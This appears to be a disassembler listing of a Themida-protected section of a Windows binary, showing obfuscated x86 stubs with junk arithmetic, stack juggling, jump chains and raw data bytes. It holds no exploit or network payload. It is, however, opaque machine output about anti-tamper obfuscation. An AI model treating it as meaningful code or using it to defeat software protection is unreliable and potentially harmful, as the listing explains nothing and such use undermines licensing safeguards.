loc_559907:				; CODE XREF: Themida_:0055F300j
		pop	ebp
		jmp	loc_5570FD
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 2C968h, 24048900h, 4ABCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55991D:				; CODE XREF: Themida_:00557BBCj
		pop	edi
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		add	eax, 4
		push	ebx
		push	ebp
		push	3A51038Ch
		pop	ebp
		push	edi
		mov	edi, 59647972h
		shl	edi, 6
		neg	edi
		sub	edi, 0E132A708h
		jmp	loc_5574A3
; ---------------------------------------------------------------------------


loc_559960:				; CODE XREF: Themida_:005616CBj
		mov	dl, 41h
		neg	dl
		or	dl, 0E0h
		push	bx
		jmp	loc_55CD48
; ---------------------------------------------------------------------------
		dw 7F68h
		dd 89000015h, 6CE9242Ch, 68000024h, 78B8h, 68243489h, 5D077761h
		dd 5CCE815Eh, 8150762Eh, 69F41CC6h, 8BF789ECh, 0C4812434h
		dd 4, 5F5FFB29h, 314C381h, 0BF574E72h, 7E8A62E5h, 7E29F781h
		dd 0C78139DDh, 77EE0F4Fh, 0E906EFC1h, 0FFFFCE74h, 24442966h
		dd 0E9586602h, 0FFFFCD2Bh, 0E9240C89h, 0FFFFC48Ch, 240C8B66h
		dd 0FF68B8E9h, 0FE690CFFh, 0D5BBE9C8h, 815AFFFFh, 4C2h
		dd 4C28300h, 2474FF52h,	48F5A04h, 24248B24h, 2B1F68h, 241C8900h
		dd 1BD468h, 24148900h, 0D2F6C6B2h, 8310E280h, 1C8904ECh
		dd 63B324h, 0D4B75BDAh,	148BD730h, 0AAEBE924h, 8B66FFFFh
		dd 89512404h, 41BA52E1h, 0C1352D01h, 0C28308E2h, 527AE901h
		dd 0E089FFFFh, 405h, 4B31E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A52:				; CODE XREF: Themida_:0055E3C2j
		add	eax, 1E701260h
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_561ED1
; ---------------------------------------------------------------------------
		dd 2474FF57h, 48F5F04h,	0F3CEE924h, 3433FFFFh, 24343124h
		dd 8B243433h, 0E0682424h, 89000074h, 36E92404h,	31FFFF43h
		dd 31C131C8h, 0BB5359C8h, 1B597E95h, 5D96E9h, 30DEB400h
		dd 0F6F7E9ECh, 9668FFFFh, 5A2BBA51h, 81E2D14Ah,	1538C8C2h
		dd 65BE5644h, 0E983DEB9h, 0FFFFA339h
; ---------------------------------------------------------------------------


loc_559AC4:				; CODE XREF: Themida_:0054DE2Aj
		pop	edi
		xor	eax, 29F5186Eh
		xor	eax, 797A66B6h
		push	2E3Ah
		mov	[esp], eax
		pop	esi
		jmp	loc_5525CC
; ---------------------------------------------------------------------------
		db 1, 0EEh, 81h
		dd 7B43C5C6h, 242C8B2Ah, 5204C483h, 2B68E289h, 8900000Ah
		dd 4BD242Ch, 1000000h, 242C8BEAh, 8104C483h, 4EAh, 0C3CAE900h
		dd 0C281FFFFh, 21D9A5CBh, 0BAE9D031h, 66000007h, 0E924048Bh
		dd 0FFFF9C51h, 5C240C87h, 2C581h, 0FF550000h, 8B042474h
		dd 0C483242Ch, 0F4F1E904h, 5451FFFFh, 0FF53FBE9h, 24148BFFh
		dd 565D5455h, 0FF6AFDE9h, 404BDFFh, 0C501E9D2h,	0C1DDF758h
		dd 0EC8303E5h, 241C8904h, 0A75C7FBBh, 0E9DBF730h, 0FFFFD961h
		dd 81D3F759h, 947D17EBh, 0E9D82972h, 0FFFFB9A4h
; ---------------------------------------------------------------------------


loc_559B80:				; CODE XREF: Themida_:0056142Cj
		mov	edi, 61D30EF9h
		shr	edi, 4
		shl	edi, 3
		push	esi
		mov	esi, 264564B3h
		add	edi, esi
		jmp	loc_5575F4
; ---------------------------------------------------------------------------
		dd 6857515Ch, 1BD665E8h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_55E707
; ---------------------------------------------------------------------------


loc_559BB3:				; CODE XREF: Themida_:005504E5j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5500CA
; ---------------------------------------------------------------------------


loc_559BCB:				; CODE XREF: Themida_:005502CDj
		xor	edi, [esp]
		pop	esp
		xor	bh, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_560F70
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 2Dh
		dd 35A55776h, 5D54555Eh, 4C581h, 0ED810000h, 4,	5C242C87h
		dd 0BF243C89h, 14517033h, 0FFFFC781h, 0A968FFFFh, 8900006Eh
		dd 0E3BA2414h, 0E903E72Ah, 0FFFF6C24h, 4805E950h, 0CB81FFFFh
		dd 15B60A83h, 0FFD124E9h, 46850FFh, 8B000000h, 89532404h
		dd 0BB5357E3h, 6D1C5619h, 0F706E3C1h, 81DBF7D3h, 887E67CBh
		dd 63F3815Dh, 0E95F9DFEh, 1D97h, 2474FF53h, 48F5B04h, 34895C24h
		dd 527EBE24h, 0E9572404h, 0FFFFA9E9h, 81E38953h, 4C3h
		dd 0DB71E900h, 0C381FFFFh, 1AC56B13h, 525BD801h, 77C2CFBAh
		dd 5AD02925h, 8358C701h, 0BFE904EFh, 81000089h,	4C2h, 267EE900h
		dd 0E9510000h, 6540h
; ---------------------------------------------------------------------------


loc_559CA8:				; CODE XREF: Themida_:00555744j
		sub	edx, 42F124C5h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	[edi+24h], edx
		jmp	loc_55F2A6
; ---------------------------------------------------------------------------


loc_559CCB:				; CODE XREF: Themida_:00561349j
		mov	edx, 6269145Ah
		not	edx
		sub	edx, 1FDF20F5h
		sub	edx, 107119CDh
		and	edx, 52C627A9h
		add	edx, 48704F20h
		sub	edx, 2D2C2C36h
		add	edi, edx
		pop	edx
		add	edi, 0FE4E2596h
		mov	ebx, edi
		pop	edi
		sub	ebx, 7B9378A4h
		sub	ebx, edx
		add	ebx, 7B9378A4h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	ebx, 1A1A518Fh
		jmp	loc_55EC55
; ---------------------------------------------------------------------------
		dd 4C481h, 0C5830000h, 382B6804h, 2C890000h, 2474FF24h
		dd 242C8B04h, 4C481h, 0A8E90000h, 0C0000013h, 0E98008E9h
		dd 0F24CE9E2h, 685DFFFFh, 6944h, 49AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_559D55:				; CODE XREF: Themida_:0055026Dj
		add	[esp+4], edi
		sub	dword ptr [esp+4], 7E346ED4h
		jmp	loc_5546C4
; ---------------------------------------------------------------------------


loc_559D66:				; CODE XREF: Themida_:0055626Aj
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_562152
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C4h
		dd 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5557E6
; ---------------------------------------------------------------------------
		db 80h,	4, 24h
		dd 243C8A86h, 6602C483h, 0B949E951h, 0E0C1FFFFh, 5BBA5207h
		dd 290C0946h, 24148BD0h, 0FFD21BE9h, 0C18358FFh, 7FEBE904h
		dd 77FF0000h, 19589D1Ch, 0E99C2404h, 0FFFF6595h, 8904EC83h
		dd 0E954242Ch, 0FFFFBD49h, 1F5EBD55h, 0EB2162ABh, 35BDE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DEA:				; CODE XREF: Themida_:0055D2D9j
		mov	ecx, esi
		pop	esi
		jmp	loc_54DDCB
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 55000000h,	0FFA1DBE9h, 8E948FFh, 66FFFFEDh
		dd 52240C8Bh, 0C281E289h, 4, 3304EA83h,	14312414h, 24143324h
		dd 240C895Ch, 1C7068h, 48F5400h, 24048124h, 4, 592434FFh
		dd 4C481h, 0DA680000h, 0E9000053h, 0FFFF9A25h, 0FFFFEF81h
		dd 5352FFFFh, 0EF6DEABBh, 5FD0E9F0h, 0E950FFFFh, 32A0h
		dd 0EE5543BDh, 4EEB816Ch, 0E9695243h, 0FFFFA6D2h
; ---------------------------------------------------------------------------


loc_559E70:				; CODE XREF: Themida_:00560628j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	3857h
		mov	[esp], edx
		push	5CE2h
		mov	[esp], eax
		push	edx
		jmp	loc_55CE82
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 3042B5D4h, 0EDC05BFDh, 89E58008h, 8049E580h,	0EE00BBEDh
		dd 4C6BE959h, 0C681FFFFh, 73083568h, 8B2434FFh,	0C481241Ch
		dd 4, 8904EC83h, 0E189240Ch, 4C181h, 0A5E90000h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559EE3:				; CODE XREF: Themida_:0055A267j
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55DD9D
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 405E089h,	2D000000h, 4, 2474FF50h, 7E95804h
		dd 28FFFF82h, 2E43E9C8h, 802D0000h, 19DC903h, 59EEE9C3h
		dd 11BEFFFFh, 0E960A971h, 225h,	81240C8Bh, 4C4h, 559EE900h
		dd 0F5010000h, 2A00C581h, 7DE95783h, 51000007h,	4B9h, 59C88900h
		dd 2142E9h
		db 0
; ---------------------------------------------------------------------------


loc_559F51:				; CODE XREF: Themida_:00562662j
		push	1250h
		mov	[esp], ebp
		mov	ebp, 6AE72351h
		neg	ebp
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	ebp, ecx
		pop	ecx
		xor	ebp, 9518DCB0h
		sub	ebp, ebx
		xchg	ebp, ebx
		jmp	loc_55CF43
; ---------------------------------------------------------------------------
		dd 8650EDB4h, 0F601247Ch, 247C86D7h, 0DCF65801h, 68F9E480h
		dd 4CBAh, 0E9240C89h, 0FFFFB9E1h, 815AD301h, 0EBF68EF3h
		dd 5BD9013Bh, 0FFD0F0E9h, 747668FFh, 0C890000h,	52E18924h
		dd 4BAh, 5AD10100h, 0FFD1C5E9h,	0E932FFFFh, 0FFFF3DFDh
		dd 55241489h, 3C1ABD66h, 81665566h, 4DB2434h, 0FF8114E9h
		dd 5BDA89FFh, 4D5AD531h, 5CF5BB53h, 0EBC1667Fh,	99C38108h
		dd 4367383Eh, 0EB81DBF7h, 13884A7Bh, 0CA58EB81h, 0DD013254h
		dd 1E4FE9h, 24248B00h, 8904EC83h, 2BB241Ch, 0E9000000h
		dd 0FFFF6334h, 0E9240C87h, 0FFFFE4A1h, 0E9EB875Fh, 0FFFF94C6h
		dd 38A2CA81h, 0CA8125B9h, 1051735Eh, 0FF782DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A03D:				; CODE XREF: Themida_:0055BE4Dj
		pop	edi
		add	edx, edi
		push	2E2Fh
		mov	[esp], esi
		mov	esi, 0
		jmp	loc_5583FE
; ---------------------------------------------------------------------------


loc_55A052:				; CODE XREF: Themida_:00551E1Dj
		push	ebx
		push	eax
		mov	eax, 36807CBCh
		xor	eax, 67822CBh
		jmp	loc_560EB9
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 0ECEh, 7907E9h, 24448100h, 0AD3A9504h, 2A74E94Dh
		dd 78040000h, 0FFBBF3E9h, 0E9DEF7FFh, 2475h
; ---------------------------------------------------------------------------


loc_55A08C:				; CODE XREF: Themida_:00554F37j
		push	edx
		mov	dh, 36h
		add	dh, 6
		dec	dh
		xor	dh, 35h
		jmp	loc_558489
; ---------------------------------------------------------------------------
		dd 0B73C581h, 0C501086Ch, 0B73ED81h, 48B086Ch, 4C48324h
		dd 4BB53h, 0DD290000h, 0FFC1EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A0BD:				; CODE XREF: Themida_:005531FCj
		add	ebp, 16208A8h
		sub	ebp, 0C408C5F3h
		or	esi, ebp
		pop	ebp
		not	esi
		inc	esi
		push	ecx
		push	1402353h
		jmp	loc_554C1F
; ---------------------------------------------------------------------------


loc_55A0DA:				; CODE XREF: Themida_:0055E864j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55796D
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5F04h, 4335C24h, 24043124h, 3901E9h, 0E6895600h
		dd 4C681h, 0C6810000h, 4, 0E9243487h, 0FFFF54E2h, 0F960E95Ah
		dd 875DFFFFh, 4EE368EEh, 82E90000h, 4BFFFF4Ch, 37E6EB81h
		dd 0DD89590Fh, 636E055Bh, 0E8296258h, 58636E2Dh, 242C8B62h
		dd 4C481h, 4330000h, 24043124h,	6E7DE9h, 24742900h, 0B9515E08h
		dd 5B9A2569h, 8244C29h,	24148B59h, 4C481h, 31E90000h, 89FFFF5Dh
		dd 322D5EF0h, 1231525h,	253205D0h, 28892315h, 8324048Bh
		dd 5A5D04C4h, 0E92434FFh, 0FFFFB93Ah
; ---------------------------------------------------------------------------


loc_55A18C:				; CODE XREF: Themida_:00557123j
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		sub	eax, 9BE5EEBh
		add	eax, edx
		jmp	loc_55DF18
; ---------------------------------------------------------------------------
		db 31h,	0F5h, 31h
		dd 0F7F531EEh, 0BAB6E9DEh, 0B450FFFFh, 58E228FFh, 88EBEA80h
		dd 7C7CE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A1C2:				; CODE XREF: Themida_:00561817j
		mov	[esp], ebx
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	3D9A4139h
		pop	edi
		shl	edi, 2
		push	ecx
		mov	ecx, 79C86484h
		dec	ecx
		push	esi
		push	ebp
		jmp	loc_56024E
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD55E2h, 0E9000000h, 5443h,	63B6F581h, 0F5816815h
		dd 47483E86h, 0FFF328E9h, 4BBFFh, 82E90000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A223:				; CODE XREF: Themida_:00561ACAj
		mov	esi, [esp]
		push	esi
		jmp	loc_55D3D6
; ---------------------------------------------------------------------------
		dd 79E9E6D1h, 45FFFF82h, 0C7A0E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A23A:				; CODE XREF: Themida_:00557CBFj
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_554749
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 499AE924h, 50ADFFFFh, 0FFD5D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A259:				; CODE XREF: Themida_:00556DC0j
		add	edx, 4
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_559EE3
; ---------------------------------------------------------------------------
aZIspy		db '‡<$\)ëé¯Y',0
		dw 8300h
		dd 0C68304C4h, 5EAFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A282:				; CODE XREF: Themida_:005547BEj
		or	ebp, 36513C70h
		or	ebp, 17675660h
		add	ebp, 0B2734E57h
		jmp	loc_55DF33
; ---------------------------------------------------------------------------


loc_55A299:				; CODE XREF: Themida_:00551681j
		mov	ecx, 43B853CEh
		push	ecx
		inc	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		jmp	loc_54E9C7
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0FAh
		dd 0E9634664h, 0FFFFC2D0h, 24048B66h, 709C68h, 242C8900h
		dd 0EC83E589h, 24148904h, 0FFBA91E9h, 24148BFFh, 6804C483h
		dd 31A1h, 0E9240489h, 0FFFFBF37h, 0FF5BFD88h, 68582434h
		dd 1AE4h, 5054E9h, 948BB00h, 0D3F70571h, 64EF381h, 0EBC129C3h
		dd 73E38102h, 8133EE52h, 0BAFBDAC3h, 5BD98914h,	26C9EB81h
		dd 0CB011434h, 26C9C381h, 1591434h, 0CEB81CBh, 0FF457D4Ch
		dd 83592434h, 0B85004C4h, 649008BBh, 767BE9h, 53ED8100h
		dd 5A4E7D36h, 8904EC83h, 24E92434h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A353:				; CODE XREF: Themida_:0055A5F0j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55E08E
; ---------------------------------------------------------------------------


loc_55A364:				; CODE XREF: Themida_:00558016j
		mov	[esp], eax
		mov	eax, 609D728Dh
		add	eax, 66C54612h
		inc	eax
		or	eax, 2D1E03D5h
		not	eax
		xor	eax, 46FD64DBh
		mov	ebx, eax
		pop	eax
		shl	ebx, 7
		jmp	loc_5581F2
; ---------------------------------------------------------------------------
		db 66h,	29h, 0D0h
		dd 275A2D66h, 4F660566h, 0BB66535Ah, 0C8E964E0h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A39F:				; CODE XREF: Themida_:0055A91Fj
		push	edi
		mov	edi, 42166D08h
		jmp	loc_557FBB
; ---------------------------------------------------------------------------
		dw 0F2BFh
a45erU8bQzgbtl4	db '45eRºî',0Bh,'-8Ê¿QZgâ‹4Â2PéÐN',0
		db 0
; ---------------------------------------------------------------------------


loc_55A3C7:				; CODE XREF: Themida_:00550B03j
		mov	[esp], esi
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_54E432
; ---------------------------------------------------------------------------
		dd 6598BF57h, 0F829116Ch, 0E92434FFh, 3AA3h
; ---------------------------------------------------------------------------


loc_55A3E4:				; CODE XREF: Themida_:0054EEEBj
		sub	ebp, 676C020Dh
		jmp	loc_560AE0
; ---------------------------------------------------------------------------
		db 5Ch
		dd 31240C33h, 0C33240Ch, 557BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A3FE:				; CODE XREF: Themida_:00552D0Dj
		mov	[esp], edi
		push	edx
		mov	edx, 3D247CC1h
		add	edx, 0FFFFFFFFh
		add	edx, 0BD7577Dh
		inc	edx
		add	edx, 0DB408AC7h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, edi
		pop	edi
		sub	edx, 0FFFFFFFFh
		add	edx, 10D93875h
		sub	edi, edx
		jmp	loc_55BD7E
; ---------------------------------------------------------------------------
		db 4, 94h, 68h
		dd 6DAEh, 19ECE9h, 40500h, 4050000h, 87000000h,	0E95C2404h
		dd 7AAAh
; ---------------------------------------------------------------------------


loc_55A454:				; CODE XREF: Themida_:00558C1Aj
		mov	edi, 85B92FCh
		jmp	loc_556C28
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 64E9D501h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A46B:				; CODE XREF: Themida_:0055DAC1j
		mov	ebp, 32C176FDh
		sub	edi, 495A6C42h
		sub	edi, ebp
		add	edi, 495A6C42h
		pop	ebp
		jmp	loc_54FCA0
; ---------------------------------------------------------------------------


loc_55A484:				; CODE XREF: Themida_:0055D50Aj
		add	ebx, edi
		jmp	loc_5614D2
; ---------------------------------------------------------------------------


loc_55A48B:				; CODE XREF: Themida_:0054FDE6j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5623AE
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5Bh
		dd 502E8C1h, 7E5951B1h,	8E118D25h, 1D68516Eh, 594EF559h
		dd 0E981D1F7h, 32897B9Fh, 6F0DC82Dh, 50C9E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4CA:				; CODE XREF: Themida_:00554D97j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_553DC8
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF243Ch, 8F5F0424h, 0ADE92404h, 0BBFFFFF2h, 1ACB557Bh
		dd 1C9C7BDh, 8BDD2934h,	0C481241Ch, 4, 4246C01h, 83242C8Bh
		dd 2C8104C4h, 0BE39B124h, 2404811Dh, 3FDB0768h,	2A94E9h
		dd 24048B00h, 4C481h, 25E90000h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A52B:				; CODE XREF: Themida_:0055BB79j
		sub	ebp, eax
		pop	eax
		sub	ecx, ebp
		pop	ebp
		add	ecx, 67613883h
		add	ecx, eax
		push	4ACCh
		mov	[esp], ebx
		mov	ebx, 67613883h
		sub	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 0B7D1ABCh
		neg	eax
		jmp	loc_5627F8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 3304C383h, 1C31241Ch, 241C3324h, 8124248Bh, 4C5h
		dd 2B95100h, 0E9000000h, 0FFFFDC46h, 0C888F988h, 241C8B59h
		dd 4C481h, 0C3880000h, 0E92434FFh, 7828h, 56F6815Eh, 0E9588912h
		dd 0FFFFFBCBh
; ---------------------------------------------------------------------------


loc_55A5A0:				; CODE XREF: Themida_:00554280j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		push	ecx
		mov	ecx, 4C507562h
		jmp	loc_55D22B
; ---------------------------------------------------------------------------


loc_55A5C2:				; CODE XREF: Themida_:0054E283j
		add	bl, 32h
		add	bl, 0DEh
		jmp	loc_55AD9C
; ---------------------------------------------------------------------------


loc_55A5CD:				; CODE XREF: Themida_:0055D418j
		sub	esi, eax
		pop	eax
		push	2643h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_558339
; ---------------------------------------------------------------------------


loc_55A5E4:				; CODE XREF: Themida_:005504F6j
		add	eax, ebp
		pop	ebp
		add	eax, ebx
		sub	eax, 399A169Bh
		mov	ecx, [eax]
		jmp	loc_55A353
; ---------------------------------------------------------------------------


loc_55A5F5:				; CODE XREF: Themida_:0055546Bj
		pop	esp
		add	eax, 451C6C3Fh
		sub	eax, edx
		push	91Bh
		mov	[esp], ebx
		jmp	loc_550137
; ---------------------------------------------------------------------------
		dw 8145h
		dd 0D01404CDh, 36C5811Dh, 0E96C5111h, 0FFFF87AEh
; ---------------------------------------------------------------------------


loc_55A61C:				; CODE XREF: Themida_:00555D4Bj
		add	ebx, 13155003h
		jmp	loc_5569E6
; ---------------------------------------------------------------------------
		db 81h
		dd 0B330FEF2h, 3CC7819Fh, 81139D3Dh, 3603D8C7h,	81D7016Fh
		dd 3603D8EFh, 95BE566Fh, 0E927C960h, 4D5Ch, 0E9243C89h
		dd 0FFFFED00h
; ---------------------------------------------------------------------------


loc_55A654:				; CODE XREF: Themida_:00552AEDj
		pop	ecx
		or	eax, eax
		jmp	loc_555F4F
; ---------------------------------------------------------------------------
		dd 51667F24h, 0E800EFB5h, 240C8B66h, 6802C483h,	2C8Fh
		dd 52241C89h, 0D388C288h, 8BDD885Ah, 0E951241Ch, 0FFFF9E7Bh
		dd 14EE815Eh, 59014F27h, 335EF001h, 4312404h, 24043324h
		dd 0D224248Bh, 0E99C243Ch, 0FFFF3721h, 106EE81h, 0C8B4807h
		dd 4EC8324h, 89240C89h,	38BB53E1h, 0E9590C3Bh, 0FFFFD655h
		dd 4BE565Eh, 1000000h, 64E95EF5h, 8B000045h, 0C4832404h
		dd 242C3304h, 33242C31h, 0E7E9242Ch, 1FFFFE0h, 7430E9DDh
		dd 5C88FFFFh, 0E95B0187h, 0FFFF36D1h, 0BD55FE01h, 502E376Fh
		dd 0FF76D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A701:				; CODE XREF: Themida_:00561D5Ej
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55DC1D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 25A11900h, 2AB7BA52h, 0EA811658h, 0F0B711B3h, 0FF4394E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A739:				; CODE XREF: Themida_:0055657Aj
		xor	ecx, 0DAAF2863h
		push	esi
		mov	esi, ecx
		mov	edi, esi
		jmp	loc_55DF77
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 30ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A751:				; CODE XREF: Themida_:00555FBFj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_560B63
; ---------------------------------------------------------------------------
		dd 4B8505Dh, 1000000h, 0E95258C5h, 0FFFFEA83h, 0D2CFE95Fh
		dd 2C8BFFFFh, 4C48124h,	68000000h, 68A0h, 4034E9h, 716D0500h
		dd 0FBE9024Fh, 81FFFF72h, 4C3h,	4C38100h, 87000000h, 248B241Ch
		dd 6D32E924h, 0E95B0000h, 0FFFF9CF1h
; ---------------------------------------------------------------------------


loc_55A7BC:				; CODE XREF: Themida_:0055828Cj
		mov	[esp], ebx
		push	ecx
		jmp	loc_54EAD4
; ---------------------------------------------------------------------------


loc_55A7C5:				; CODE XREF: Themida_:0055C81Aj
		xchg	ebp, [esp]
		jmp	loc_55148C
; ---------------------------------------------------------------------------


loc_55A7CD:				; CODE XREF: Themida_:0055E2A5j
		pop	edi
		add	edx, ebp
		push	19FEh
		jmp	loc_5564D1
; ---------------------------------------------------------------------------


loc_55A7DA:				; CODE XREF: Themida_:005554D7j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	8000h
		mov	esi, [esp]
		jmp	loc_56116E
; ---------------------------------------------------------------------------
aBim31Phmr	db 'ëM3ÓË1Ù[Ph¬R',0
		dd 24348900h, 0FFCA4CE9h, 440B68FFh, 3C890000h,	81E78924h
		dd 4C7h, 4EF8100h, 68000000h, 11A5h, 0FF243C89h, 5F042474h
		dd 0FFC382E9h, 48B66FFh, 4EC8324h, 89243489h, 4C681E6h
		dd 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh,	406BE9h
		dd 4C48300h, 4C381h, 2FE90000h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A85F:				; CODE XREF: Themida_:00553558j
		pop	edx
		add	ebp, 16BC876Ah
		jmp	loc_561E81
; ---------------------------------------------------------------------------
		db 0ADh
		dd 3ABE951h, 335F0000h,	23E92434h, 0B9000066h, 4, 4756E9h
		dd 0F612B600h, 1EE80DEh, 6CC680h, 7F14E9F0h, 0C781FFFFh
		dd 0F31F93h, 0FF3A69E9h, 71EE81FFh, 5A21F155h, 4B951h
		dd 0D5E90000h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A8B3:				; CODE XREF: Themida_:0055B942j
		mov	[esp], edx
		mov	edx, 401E0E13h
		xor	eax, edx
		jmp	loc_54F181
; ---------------------------------------------------------------------------
aN1Ptxsf	db '­1ØPTXéf(',0
		db 0
; ---------------------------------------------------------------------------


loc_55A8CD:				; CODE XREF: Themida_:0056025Cj
		not	eax
		shr	eax, 3
		xor	eax, 0A5B43B7Dh
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		or	ecx, esi
		pop	esi
		neg	ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, 96EF9B0Ah
		jmp	loc_55AA5E
; ---------------------------------------------------------------------------
		dd 6824248Bh, 17CDh, 51241C89h,	802EE950h, 0E2890000h
		dd 4C281h, 0C2830000h, 24148704h, 0FF43E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A91D:				; CODE XREF: Themida_:0055B5A4j
		pop	edi
		dec	ebx
		jmp	loc_55A39F
; ---------------------------------------------------------------------------


loc_55A924:				; CODE XREF: Themida_:0055467Aj
		neg	eax
		shl	eax, 3
		jmp	loc_55FC3A
; ---------------------------------------------------------------------------
aDSjf		db ')D$',8,'é†f',0
		dw 5600h
		dd 0EE38F0BEh, 5EF20103h, 24143358h, 33241431h,	248B2414h
		dd 24040124h, 346FE99Ch, 0E1C1FFFFh, 54E98105h,	81202346h
		dd 6137F5E1h, 0DABDE91Fh, 0D801FFFFh, 0F0312605h, 4335B4Fh
		dd 24043124h, 8B240433h, 0E6E92424h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A983:				; CODE XREF: Themida_:00552B31j
		mov	al, bh
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 0E3715D6h
		or	edx, 1F6A517Dh
		xor	edx, 4FB835F8h
		xor	edx, 13E017BFh
		shl	edx, 5
		sub	edx, 11722D37h
		add	edx, 0AC83363Bh
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, al
		push	eax
		mov	al, dh
		mov	ch, al
		jmp	loc_55E6F8
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	4C4835Ch, 0E924048Fh, 0FFFFBA6Eh
; ---------------------------------------------------------------------------


loc_55A9E0:				; CODE XREF: Themida_:00553687j
		not	edi
		add	edi, 7743F7CAh
		jmp	loc_556FAC
